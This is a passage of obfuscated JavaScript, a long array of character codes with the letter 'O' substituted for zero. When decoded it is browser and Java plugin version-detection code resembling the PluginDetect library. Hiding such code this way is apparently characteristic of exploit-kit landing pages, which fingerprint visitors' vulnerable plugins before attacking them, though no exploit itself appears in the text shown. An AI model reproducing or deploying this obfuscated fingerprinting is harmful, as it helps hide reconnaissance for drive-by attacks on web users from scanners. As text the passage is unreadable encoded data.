,99,111,11O,99,97,116,4O,91,34,119,1O5,1OO,116,1O4,34,44,1O6,46,1OO,1O5,118,87,1O5,1OO,116,1O4,43,34,112,12O,34,44,34,1O4,1O1,1O5,1O3,1O4,116,34,44,4O,1O6,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,43,51,41,43,34,112,12O,34,44,34,1O2,111,11O,116,83,1O5,122,1O1,34,44,4O,1O6,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,43,51,41,43,34,112,12O,34,44,34,1O8,1O5,11O,1O1,72,1O1,1O5,1O3,1O4,116,34,44,4O,1O6,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,43,51,41,43,34,112,12O,34,44,34,118,1O1,114,116,1O5,99,97,1O8,65,1O8,1O5,1O3,11O,34,44,34,98,97,115,1O1,1O8,1O5,11O,1O1,34,44,34,1OO,1O5,115,112,1O8,97,121,34,44,34,98,1O8,111,99,1O7,34,93,41,41,59,1O5,1O2,4O,33,1O5,41,123,1O6,46,115,1O1,116,83,116,121,1O8,1O1,4O,1O6,46,1OO,1O5,118,44,91,34,112,111,115,1O5,116,1O5,111,11O,34,44,34,97,98,115,111,1O8,117,116,1O1,34,44,34,114,1O5,1O3,1O4,116,34,44,34,48,112,12O,34,44,34,116,111,112,34,44,34,48,112,12O,34,93,41,59,1O6,46,1O5,11O,115,1O1,114,116,68,1O5,118,73,11O,66,111,1OO,121,4O,1O6,46,1OO,1O5,118,41,125,125,1O5,1O2,4O,1O6,46,1OO,1O5,118,38,38,1O6,46,1OO,1O5,118,46,112,97,114,1O1,11O,116,78,111,1OO,1O1,41,123,1O6,46,115,1O1,116,83,116,121,1O8,1O1,4O,111,44,99,46,99,111,11O,99,97,116,4O,91,34,1O2,111,11O,116,83,1O5,122,1O1,34,44,4O,1O6,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,43,51,41,43,34,112,12O,34,44,34,1O8,1O5,11O,1O1,72,1O1,1O5,1O3,1O4,116,34,44,4O,1O6,46,112,1O8,117,1O3,1O5,11O,83,1O5,122,1O1,43,51,41,43,34,112,12O,34,44,34,118,1O1,114,116,1O5,99,97,1O8,65,1O8,1O5,1O3,11O,34,44,34,98,97,115,1O1,1O8,1O5,11O,1O1,34,44,34,1OO,1O5,115,112,1O8,97,121,34,44,34,1O5,11O,1O8,1O5,11O,1O1,34,93,41,41,59,116,114,121,123,111,46,1O5,11O,11O,1O1,114,72,84,77,76,61,112,125,99,97,116,99,1O4,4O,1O8,41,123,125,59,116,114,121,123,1O6,46,1OO,1O5,118,46,97,112,112,1O1,11O,1OO,67,1O4,1O5,1O8,1OO,4O,111,41,125,99,97,116,99,1O4,4O,1O8,41,123,125,59,114,1O1,116,117,114,11O,123,115,112,97,11O,58,111,44,119,1O5,11O,76,111,97,1OO,1O1,1OO,58,1O6,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,44,116,97,1O3,78,97,1O9,1O1,58,1O2,44,111,117,116,1O1,114,72,84,77,76,58,112,125,125,114,1O1,116,117,114,11O,123,115,112,97,11O,58,11O,117,1O8,1O8,44,119,1O5,11O,76,111,97,1OO,1O1,1OO,58,1O6,46,119,1O5,11O,76,111,97,1OO,1O1,1OO,44,116,97,1O3,78,97,1O9,1O1,58,34,34,44,111,117,116,1O1,114,72,84,77,76,58,112,125,125,44,1O2,1O5,1O8,1O1,58,123,36,58,49,44,97,11O,121,58,34,1O2,1O5,1O8,1O1,83,116,111,114,97,1O3,1O1,65,11O,121,57,57,57,34,44,118,97,1O8,1O5,1OO,58,34,1O2,1O5,1O8,1O1,83,116,111,114,97,1O3,1O1,86,97,1O8,1O5,1OO,57,57,57,34,44,115,97,118,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,1O2,44,99,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1O1,61,98,46,36,44,97,59,1O5,1O2,4O,1OO,38,38,1O1,46,1O5,115,68,1O1,1O2,1O5,11O,1O1,1OO,4O,99,41,41,123,1O5,1O2,4O,33,1OO,91,98,46,97,11O,121,93,41,123,1OO,91,98,46,97,11O,121,93,61,91,93,125,1O5,1O2,4O,33,1OO,91,98,46,118,97,1O8,1O5,1OO,93,41,123,1OO,91,98,46,118,97,1O8,1O5,1OO,93,61,91,93,125,1OO,91,98,46,97,11O,121,93,46,112,117,115,1O4,4O,99,41,59,97,61,98,46,115,112,1O8,1O5,116,4O,1O2,44,99,41,59,1O5,1O2,4O,97,41,123,1OO,91,98,46,118,97,1O8,1O5,1OO,93,46,112,117,115,1O4,4O,97,41,125,125,125,44,1O3,1O1,116,86,97,1O8,1O5,1OO,76,1O1,11O,1O3,116,1O4,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,97,38,38,97,91,116,1O4,1O5,115,46,118,97,1O8,1O5,1OO,93,63,97,91,116,1O4,1O5,115,46,118,97,1O8,1O5,1OO,93,46,1O8,1O1,11O,1O3,116,1O4,58,48,125,44,1O3,1O1,116,65,11O,121,76,1O1,11O,1O3,116,1O4,58,1O2,117,11O,99,116,1O5,111,11O,4O,97,41,123,114,1O1,116,117,114,11O,32,97,38,38,97,91,116,1O4,1O5,115,46,97,11O,121,93,63,97,91,116,1O4,1O5,115,46,97,11O,121,93,46,1O8,1O1,11O,1O3,116,1O4,58,48,125,44,1O3,1O1,116,86,97,1O8,1O5,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,97,41,123,118,97,114,32,98,61,116,1O4,1O5,115,59,114,1O1,116,117,114,11O,32,99,38,38,99,91,98,46,118,97,1O8,1O5,1OO,93,63,98,46,1O3,1O1,116,4O,99,91,98,46,118,97,1O8,1O5,1OO,93,44,97,41,58,11O,117,1O8,1O8,125,44,1O3,1O1,116,65,11O,121,58,1O2,117,11O,99,116,1O5,111,11O,4O,99,44,97,41,123,118,97,114,32,98,61,116,1O4,1O5,115,59,114,1O1,116,117,114,11O,32,99,38,38,99,91,98,46,97,11O,121,93,63,98,46,1O3,1O1,116,4O,99,91,98,46,97,11O,121,93,44,97,41,58,11O,117,1O8,1O8,125,44,1O3,1O1,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,97,41,123,118,97,114,32,99,61,1OO,46,1O8,1O1,11O,1O3,116,1O4,45,49,44,98,61,116,1O4,1O5,115,46,36,46,1O5,115,78,117,1O9,4O,97,41,63,97,58,99,59,114,1O1,116,117,114,11O,4O,48,62,98,124,124,98,62,99,41,63,11O,117,1O8,1O8,58,1OO,91,98,93,125,44,115,112,1O8,1O5,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O3,44,99,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1O1,61,98,46,36,44,1O2,61,11O,117,1O8,1O8,44,97,44,1OO,59,1O3,61,1O3,63,1O3,46,114,1O1,112,1O8,97,99,1O1,4O,34,46,34,44,34,92,46,34,41,58,34,34,59,1OO,61,11O,1O1,119,32,82,1O1,1O3,69,12O,112,4O,34,94,4O,46,42,91,94,92,47,93,41,4O,34,43,1O3,43,34,92,115,42,41,36,34,41,59,1O5,1O2,4O,1O1,46,1O5,115,83,116,114,1O5,11O,1O3,4O,99,41,38,38,1OO,46,116,1O1,115,116,4O,99,41,41,123,97,61,4O,82,1O1,1O3,69,12O,112,46,36,49,41,46,115,112,1O8,1O5,116,4O,34,47,34,41,59,1O2,61,123,11O,97,1O9,1O1,58,97,91,97,46,1O8,1O1,11O,1O3,116,1O4,45,49,93,44,1O1,12O,116,58,82,1O1,1O3,69,12O,112,46,36,5O,44,1O2,117,1O8,1O8,58,99,125,59,97,91,97,46,1O8,1O1,11O,1O3,116,1O4,45,49,93,61,34,34,59,1O2,46,112,97,116,1O4,61,97,46,1O6,111,1O5,11O,4O,34,47,34,41,125,114,1O1,116,117,114,11O,32,1O2,125,44,122,58,48,125,44,8O,1O8,117,1O3,1O5,11O,115,58,123,1O6,97,118,97,58,123,1O9,1O5,1O9,1O1,84,121,112,1O1,58,91,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,12O,45,1O6,97,118,97,45,97,112,112,1O8,1O1,116,34,44,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,12O,45,1O6,97,118,97,45,118,1O9,34,44,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,12O,45,1O6,97,118,97,45,98,1O1,97,11O,34,93,44,99,1O8,97,115,115,73,68,58,34,99,1O8,115,1O5,1OO,58,56,65,68,57,67,56,52,48,45,48,52,52,69,45,49,49,68,49,45,66,51,69,57,45,48,48,56,48,53,7O,52,57,57,68,57,51,34,44,11O,97,118,1O5,1O3,97,116,111,114,58,123,97,58,119,1O5,11O,1OO,111,119,46,11O,97,118,1O5,1O3,97,116,111,114,46,1O6,97,118,97,69,11O,97,98,1O8,1O1,1OO,4O,41,44,1O6,97,118,97,69,11O,97,98,1O8,1O1,1OO,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,114,1O1,116,117,114,11O,32,116,1O4,1O5,115,46,97,125,44,1O9,1O5,1O9,1O1,79,98,1O6,58,48,44,112,1O8,117,1O3,1O5,11O,79,98,1O6,58,48,125,44,79,84,7O,58,11O,117,1O8,1O8,44,1O9,1O5,11O,73,69,118,1O1,114,58,55,44,1OO,1O1,98,117,1O3,58,48,44,1OO,1O1,98,117,1O3,69,11O,97,98,1O8,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,44,98,61,97,46,36,59,97,46,1OO,1O1,98,117,1O3,61,49,125,44,1O5,115,68,1O5,115,97,98,1O8,1O1,1OO,58,123,36,58,49,44,68,84,75,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,44,99,61,97,46,36,44,98,61,97,46,36,36,59,1O5,1O2,4O,4O,99,46,1O5,115,71,1O1,99,1O7,111,38,38,99,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,99,46,118,1O1,114,71,1O1,99,1O7,111,44,99,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,49,46,54,34,41,41,6O,61,48,41,124,124,4O,99,46,1O5,115,83,97,1O2,97,114,1O5,38,38,99,46,79,83,61,61,49,38,38,4O,33,99,46,118,1O1,114,83,97,1O2,97,114,1O5,124,124,48,62,99,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,99,46,118,1O1,114,83,97,1O2,97,114,1O5,44,34,53,44,49,44,48,44,48,34,41,41,41,124,124,99,46,1O5,115,67,1O4,114,111,1O9,1O1,124,124,4O,99,46,1O5,115,73,69,38,38,33,99,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,41,41,123,114,1O1,116,117,114,11O,32,49,125,114,1O1,116,117,114,11O,32,48,125,44,65,88,79,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,44,99,61,97,46,36,44,98,61,97,46,36,36,59,114,1O1,116,117,114,11O,4O,33,99,46,1O5,115,73,69,124,124,33,99,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,124,124,4O,33,98,46,1OO,1O1,98,117,1O3,38,38,98,46,68,84,75,46,113,117,1O1,114,121,4O,41,46,115,116,97,116,117,115,33,61,61,48,41,41,125,44,11O,97,118,77,1O5,1O9,1O1,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,99,61,98,46,36,36,44,97,61,99,46,11O,97,118,1O5,1O3,97,116,111,114,59,1O5,1O2,4O,1OO,46,1O5,115,73,69,124,124,33,97,46,1O9,1O5,1O9,1O1,79,98,1O6,124,124,33,97,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,41,123,114,1O1,116,117,114,11O,32,49,125,114,1O1,116,117,114,11O,32,48,125,44,11O,97,118,8O,1O8,117,1O3,1O5,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,99,61,98,46,36,36,44,97,61,99,46,11O,97,118,1O5,1O3,97,116,111,114,59,1O5,1O2,4O,1OO,46,1O5,115,73,69,124,124,33,97,46,1O9,1O5,1O9,1O1,79,98,1O6,124,124,33,97,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,41,123,114,1O1,116,117,114,11O,32,49,125,114,1O1,116,117,114,11O,32,48,125,44,119,1O5,11O,1OO,111,119,68,111,116,74,97,118,97,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,44,99,61,97,46,36,44,98,61,97,46,36,36,59,1O5,1O2,4O,33,119,1O5,11O,1OO,111,119,46,1O6,97,118,97,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,99,46,79,83,61,61,5O,38,38,99,46,118,1O1,114,79,112,1O1,114,97,62,56,38,38,99,46,118,1O1,114,79,112,1O1,114,97,38,38,99,46,118,1O1,114,79,112,1O1,114,97,6O,4O,57,46,51,45,48,46,49,41,41,123,114,1O1,116,117,114,11O,32,49,125,114,1O1,116,117,114,11O,32,48,125,44,97,1O8,1O8,65,112,112,1O8,1O1,116,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,99,61,98,46,36,36,44,97,61,99,46,11O,97,118,1O5,1O3,97,116,111,114,59,1O5,1O2,4O,1OO,46,79,83,62,61,5O,48,41,123,114,1O1,116,117,114,11O,32,48,125,1O5,1O2,4O,1OO,46,118,1O1,114,79,112,1O1,114,97,38,38,1OO,46,118,1O1,114,79,112,1O1,114,97,6O,49,49,38,38,33,97,46,1O6,97,118,97,69,11O,97,98,1O8,1O1,1OO,4O,41,38,38,33,99,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,1O5,1O2,4O,4O,1OO,46,118,1O1,114,71,1O1,99,1O7,111,38,38,48,62,1OO,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,1OO,46,118,1O1,114,71,1O1,99,1O7,111,44,1OO,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,5O,34,41,41,41,38,38,33,97,46,1O9,1O5,1O9,1O1,79,98,1O6,38,38,33,99,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,123,114,1O1,116,117,114,11O,32,49,125,114,1O1,116,117,114,11O,32,48,125,44,65,112,112,1O8,1O1,116,84,97,1O3,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,99,61,98,46,36,36,44,97,61,99,46,11O,97,118,1O5,1O3,97,116,111,114,59,114,1O1,116,117,114,11O,32,1OO,46,1O5,115,73,69,63,33,97,46,1O6,97,118,97,69,11O,97,98,1O8,1O1,1OO,4O,41,58,48,125,44,79,98,1O6,1O1,99,116,84,97,1O3,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,44,99,61,97,46,36,44,98,61,97,46,36,36,59,114,1O1,116,117,114,11O,32,99,46,1O5,115,73,69,63,33,99,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,58,48,125,44,122,58,48,125,44,1O3,1O1,116,86,1O1,114,1O5,1O2,121,84,97,1O3,115,68,1O1,1O2,97,117,1O8,116,58,1O2,117,11O,99,116,1O5,111,11O,4O,41,123,118,97,114,32,97,61,116,1O4,1O5,115,44,99,61,97,46,36,44,98,61,91,49,44,48,44,49,93,59,1O5,1O2,4O,99,46,79,83,62,61,5O,48,41,123,114,1O1,116,117,114,11O,32,98,125,1O5,1O2,4O,4O,99,46,1O5,115,73,69,38,38,4O,99,46,118,1O1,114,73,69,6O,57,124,124,33,99,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,41,41,124,124,4O,99,46,118,1O1,114,71,1O1,99,1O7,111,38,38,48,62,99,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,99,46,118,1O1,114,71,1O1,99,1O7,111,44,99,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,5O,34,41,41,41,124,124,4O,99,46,1O5,115,83,97,1O2,97,114,1O5,38,38,4O,33,99,46,118,1O1,114,83,97,1O2,97,114,1O5,124,124,48,62,99,46,99,111,1O9,112,97,114,1O1,78,117,1O9,115,4O,99,46,118,1O1,114,83,97,1O2,97,114,1O5,44,99,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,34,52,34,41,41,41,41,124,124,4O,99,46,118,1O1,114,79,112,1O1,114,97,38,38,99,46,118,1O1,114,79,112,1O1,114,97,6O,49,48,41,41,123,98,61,91,49,44,49,44,49,93,125,114,1O1,116,117,114,11O,32,98,125,44,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,58,1O2,117,11O,99,116,1O5,111,11O,4O,1O6,44,1O3,44,1O5,41,123,118,97,114,32,98,61,116,1O4,1O5,115,44,1OO,61,98,46,36,44,1O1,44,97,61,98,46,97,112,112,1O8,1O1,116,44,1O4,61,98,46,118,1O1,114,1O5,1O2,121,44,1O7,61,98,46,11O,97,118,1O5,1O3,97,116,111,114,44,1O2,61,11O,117,1O8,1O8,44,1O8,61,11O,117,1O8,1O8,44,99,61,11O,117,1O8,1O8,59,1O5,1O2,4O,98,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,61,61,11O,117,1O8,1O8,41,123,98,46,79,84,7O,61,48,59,1O7,46,1O9,1O5,1O9,1O1,79,98,1O6,61,1OO,46,1O4,97,115,77,1O5,1O9,1O1,84,121,112,1O1,4O,98,46,1O9,1O5,1O9,1O1,84,121,112,1O1,41,59,1O5,1O2,4O,1O7,46,1O9,1O5,1O9,1O1,79,98,1O6,41,123,1O7,46,112,1O8,117,1O3,1O5,11O,79,98,1O6,61,1O7,46,1O9,1O5,1O9,1O1,79,98,1O6,46,1O1,11O,97,98,1O8,1O1,1OO,8O,1O8,117,1O3,1O5,11O,125,1O5,1O2,4O,1O4,41,123,1O4,46,98,1O1,1O3,1O5,11O,4O,41,125,125,97,46,115,1O1,116,86,1O1,114,1O5,1O2,121,84,97,1O3,115,65,114,114,97,121,4O,1O5,41,59,1OO,46,1O2,1O5,1O8,1O1,46,115,97,118,1O1,4O,98,44,34,46,1O6,97,114,34,44,1O3,41,59,1O5,1O2,4O,98,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,61,61,48,41,123,1O5,1O2,4O,97,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,4O,41,41,123,1O1,61,97,46,1O5,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,4O,41,59,98,46,115,1O1,116,8O,1O8,117,1O3,1O5,11O,83,116,97,116,117,115,4O,1O1,91,48,93,44,1O1,91,49,93,44,1O2,41,125,114,1O1,116,117,114,11O,125,1O5,1O2,4O,4O,33,1O2,124,124,98,46,1OO,1O1,98,117,1O3,41,38,38,98,46,68,84,75,46,113,117,1O1,114,121,4O,41,46,118,1O1,114,115,1O5,111,11O,41,123,1O2,61,98,46,68,84,75,46,118,1O1,114,115,1O5,111,11O,125,1O5,1O2,4O,4O,33,1O2,124,124,98,46,1OO,1O1,98,117,1O3,41,38,38,98,46,11O,97,118,77,1O5,1O9,1O1,46,113,117,1O1,114,121,4O,41,46,118,1O1,114,115,1O5,111,11O,41,123,1O2,61,98,46,11O,97,118,77,1O5,1O9,1O1,46,118,1O1,114,115,1O5,111,11O,125,1O5,1O2,4O,4O,33,1O2,124,124,98,46,1OO,1O1,98,117,1O3,41,38,38,98,46,11O,97,118,8O,1O8,117,1O3,1O5,11O,46,113,117,1O1,114,121,4O,41,46,118,1O1,114,115,1O5,111,11O,41,123,1O2,61,98,46,11O,97,118,8O,1O8,117,1O3,1O5,11O,46,118,1O1,114,115,1O5,111,11O,125,1O5,1O2,4O,4O,33,1O2,124,124,98,46,1OO,1O1,98,117,1O3,41,38,38,98,46,65,88,79,46,113,117,1O1,114,121,4O,41,46,118,1O1,114,115,1O5,111,11O,41,123,1O2,61,98,46,65,88,79,46,118,1O1,114,115,1O5,111,11O,125,1O5,1O2,4O,98,46,11O,111,11O,65,112,112,1O8,1O1,116,68,1O1,116,1O1,99,116,1O5,111,11O,79,1O7,4O,1O2,41,41,123,99,61,1O2,125,1O5,1O2,4O,33,99,124,124,98,46,1OO,1O1,98,117,1O3,124,124,97,46,86,1O1,114,1O5,1O2,121,84,97,1O3,115,72,97,115,4O,5O,46,5O,41,124,124,97,46,86,1O1,114,1O5,1O2,121,84,97,1O3,115,72,97,115,4O,5O,46,53,41,41,123,1O1,61,98,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,59,1O5,1O2,4O,1O1,91,48,93,41,123,1O2,61,1O1,91,48,93,59,99,61,1O1,91,48,93,59,1O8,61,1O1,91,49,93,125,125,98,46,115,1O1,116,8O,1O8,117,1O3,1O5,11O,83,116,97,116,117,115,4O,99,44,1O8,44,1O2,41,59,1O5,1O2,4O,97,46,115,1O4,111,117,1O8,1OO,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,4O,41,41,123,1O1,61,97,46,1O5,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,4O,41,59,1O5,1O2,4O,1O1,91,48,93,41,123,99,61,1O1,91,48,93,59,1O8,61,1O1,91,49,93,125,125,98,46,115,1O1,116,8O,1O8,117,1O3,1O5,11O,83,116,97,116,117,115,4O,99,44,1O8,44,1O2,41,125,44,11O,111,11O,65,112,112,1O8,1O1,116,68,1O1,116,1O1,99,116,1O5,111,11O,79,1O7,58,1O2,117,11O,99,116,1O5,111,11O,4O,98,41,123,118,97,114,32,1OO,61,116,1O4,1O5,115,44,1O1,61,1OO,46,36,44,97,61,1OO,46,11O,97,118,1O5,1O3,97,116,111,114,44,99,61,49,59,1O5,1O2,4O,33,98,124,124,4O,33,97,46,1O6,97,118,97,69,11O,97,98,1O8,1O1,1OO,4O,41,38,38,33,1OO,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,72,97,115,4O,98,41,41,124,124,4O,33,1O1,46,1O5,115,73,69,38,38,33,97,46,1O9,1O5,1O9,1O1,79,98,1O6,38,38,33,1OO,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,72,97,115,4O,98,41,41,124,124,4O,1O1,46,1O5,115,73,69,38,38,33,1O1,46,65,99,116,1O5,118,1O1,88,69,11O,97,98,1O8,1O1,1OO,41,41,123,99,61,48,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,1O1,46,79,83,62,61,5O,48,41,123,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,1OO,46,1O5,11O,1O2,111,38,38,48,62,1OO,46,1O5,11O,1O2,111,46,1O3,1O1,116,8O,1O8,117,1O3,1O5,11O,5O,83,116,97,116,117,115,4O,41,38,38,1OO,46,1O5,11O,1O2,111,46,66,114,111,119,115,1O1,114,82,1O1,113,117,1O5,114,1O1,115,8O,1O8,117,1O3,1O5,11O,5O,4O,41,41,123,99,61,48,125,125,125,114,1O1,116,117,114,11O,32,99,125,44,115,1O1,116,8O,1O8,117,1O3,1O5,11O,83,116,97,116,117,115,58,1O2,117,11O,99,116,1O5,111,11O,4O,1OO,44,1O2,44,97,41,123,118,97,114,32,99,61,116,1O4,1O5,115,44,1O1,61,99,46,36,44,98,59,97,61,97,124,124,99,46,118,1O1,114,115,1O5,111,11O,48,59,1O5,1O2,4O,48,6O,99,46,79,84,7O,41,123,1OO,61,1OO,124,124,99,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,125,1O5,1O2,4O,99,46,79,84,7O,6O,51,41,123,98,61,1OO,63,49,58,4O,97,63,45,48,46,5O,58,45,49,41,59,1O5,1O2,4O,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,61,61,11O,117,1O8,1O8,124,124,98,62,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,98,125,125,1O5,1O2,4O,99,46,79,84,7O,61,61,5O,38,38,99,46,78,79,84,7O,38,38,33,99,46,97,112,112,1O8,1O1,116,46,1O3,1O1,116,82,1O1,115,117,1O8,116,4O,41,91,48,93,38,38,33,99,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,97,63,45,48,46,5O,58,45,49,125,59,1O5,1O2,4O,99,46,79,84,7O,61,61,51,38,38,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,45,48,46,53,38,38,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,33,61,48,46,53,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,4O,99,46,78,79,84,7O,46,1O5,115,74,97,118,97,65,99,116,1O5,118,1O1,4O,49,41,61,61,49,124,124,99,46,1O8,97,11O,1O3,46,83,121,115,116,1O1,1O9,46,1O3,1O1,116,8O,114,111,112,1O1,114,116,121,4O,41,91,48,93,41,63,48,46,53,58,45,48,46,53,125,1O5,1O2,4O,99,46,79,84,7O,61,61,52,38,38,4O,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,61,45,48,46,53,124,124,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,61,48,46,53,41,41,123,1O5,1O2,4O,1OO,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,49,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,99,46,78,79,84,7O,46,1O5,115,74,97,118,97,65,99,116,1O5,118,1O1,4O,49,41,61,61,49,41,123,1O5,1O2,4O,97,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,49,59,1OO,61,97,125,1O1,1O8,115,1O1,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,48,125,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,97,41,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,45,48,46,5O,125,1O1,1O8,115,1O1,123,99,46,1O5,11O,115,116,97,1O8,1O8,1O1,1OO,61,45,49,125,125,125,125,59,1O5,1O2,4O,97,41,123,99,46,118,1O1,114,115,1O5,111,11O,48,61,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,46,1O3,1O1,116,78,117,1O9,4O,97,41,41,125,1O5,1O2,4O,1OO,41,123,99,46,118,1O1,114,115,1O5,111,11O,61,1O1,46,1O2,111,114,1O9,97,116,78,117,1O9,4O,1O1,46,1O3,1O1,116,78,117,1O9,4O,1OO,41,41,125,1O5,1O2,4O,1O2,38,38,1O1,46,1O5,115,83,116,114,1O5,11O,1O3,4O,1O2,41,41,123,99,46,118,1O1,11O,1OO,111,114,61,1O2,125,1O5,1O2,4O,33,99,46,118,1O1,11O,1OO,111,114,41,123,99,46,118,1O1,11O,1OO,111,114,61,34,34,125,1O5,1O2,4O,99,46,118,1O1,114,1O5,1O2,121,38,38,99,46,118,1O1,114,1O5,1O2,121,46,1O5,115,69,11O,97,98,1O8,1O1,1OO,4O,41,41,123,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,48,125,1O1,1O8,115,1O1,123,1O5,1O2,4O,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,33,61,49,41,123,1O5,1O2,4O,99,46,79,84,7O,6O,5O,41,123,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,48,125,1O1,1O8,115,1O1,123,99,46,1O3,1O1,116,86,1O1,114,115,1O5,111,11O,68,111,11O,1O1,61,99,46,97,112,112,1O8,1O1,116,46,99,97,11O,95,73,11O,115,1O1,114,116,95,81,117,1O1,114,121,95,65,11O,121,4O,41,63,48,58,49,125,125,125,125,44,68,84,75,58,123,36,58,49,44,1O4,97,115,82,117,11O,58,48,44,115,116,97,116,117,115,58,11O,117,1O8,1O8,44,86,69,82,83,73,79,78,83,58,91,93,44,118,1O1,114,115,1O5,111,11O,58,34,34,44,72,84,77,76,58,11O,117,1O8,1O8,44,8O,1O8,117,1O3,1O5,11O,5O,83,116,97,116,117,115,58,11O,117,1O8,1O8,44,99,1O8,97,115,115,73,68,58,91,34,99,1O8,115,1O5,1OO,58,67,65,7O,69,69,7O,65,67,45,68,69,67,55,45,48,48,48,48,45,48,48,48,49,45,65,66,67,68,69,7O,7O,69,68,67,66,65,34,44,34,99,1O8,115,1O5,1OO,58,67,65,7O,69,69,7O,65,67,45,68,69,67,55,45,48,48,48,48,45,48,48,48,48,45,65,66,67,68,69,7O,7O,69,68,67,66,65,34,93,44,1O9,1O5,1O9,1O1,84,121,112,1O1,58,91,34,97,112,112,1O8,1O5,99,97,116,1O5,111,11O,47,1O6,97,118,97,45,1OO,1O1,112,1O8,111,121,1O9,1O1,11O,116,45,116,111,111,